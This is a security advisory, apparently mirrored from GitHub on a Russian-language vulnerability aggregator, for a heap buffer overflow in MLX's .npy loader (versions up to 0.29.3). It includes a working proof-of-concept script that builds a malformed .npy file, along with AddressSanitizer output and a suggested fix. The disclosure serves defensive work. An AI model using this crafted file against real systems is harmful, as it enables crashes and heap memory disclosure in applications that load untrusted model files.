Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-w6vg-jg77-2qg6

Опубликовано: 21 нояб. 2025
Источник: github
Github: Прошло ревью
CVSS4: 5.5

Описание

MLX has heap-buffer-overflow in load()

Summary

Heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.

Environment:

  • OS: Ubuntu 20.04.6 LTS
  • Compiler: Clang 19.1.7

Vulnerability

The parser reads a 118-byte header from the file, but line 268 uses std::string(&buffer[0]) which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read header[34] without checking the length first, reading 13 bytes past the allocation.

Location: mlx/io/load.cpp:268,276

Bug #1 (line 268):

std::string header(&buffer[0]); // stops at first null byte

Bug #2 (line 276):

bool col_contiguous = header[34] == 'T'; // No bounds check

Possible Fix

// Line 268 std::string header(&buffer[0], header_len); // Line 276 if (header.length() < 35) throw std::runtime_error("Malformed header");

PoC

pip install mlx # generate exploit cat > exploit.py << 'EOF' import struct magic = b'\x93NUMPY' version = b'\x01\x00' header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }" header += b' ' * (118 - len(header) - 1) + b'\n' with open('exploit.npy', 'wb') as f: f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff') EOF python3 exploit.py python3 -c "import mlx.core as mx; mx.load('exploit.npy')"

AddressSanitizer Output (with instrumented build):

================================================================= ==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48 READ of size 1 at 0x503000000152 thread T0 #0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25 #1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10 #2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20 #3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16 #4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099) 0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145) allocated by thread T0 here: #0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099) #1 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14 #2 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct_aux<char const*>(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11 #3 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4 #4 0x5633456956fe in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9 #5 0x5633456956fe in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:268:15 #6 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10 #7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20 #8 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) Shadow bytes around the buggy address: 0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00 0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa =>0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa 0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==3179==ABORTING

Impact

  • Attack vector: Malicious .npy file (model weights, datasets, checkpoints)
  • Affects: MLX users on all platforms who call the vulnerable methods with unsanitized input.
  • Result: Application crash + potential 13-byte heap leak

Credits:

  • Markiyan Melnyk (ARIMLABS)
  • Mykyta Mudryi (ARIMLABS)
  • Markiyan Chaklosh (ARIMLABS)

Пакеты

Наименование

mlx

pip
Затронутые версииВерсия исправления

<= 0.29.3

0.29.4

EPSS

Процентиль: 22%
0.00074
Низкий

5.5 Medium

CVSS4

Дефекты

CWE-122

Связанные уязвимости

CVSS3: 9.1
nvd
3 месяца назад

MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4.

EPSS

Процентиль: 22%
0.00074
Низкий

5.5 Medium

CVSS4

Дефекты

CWE-122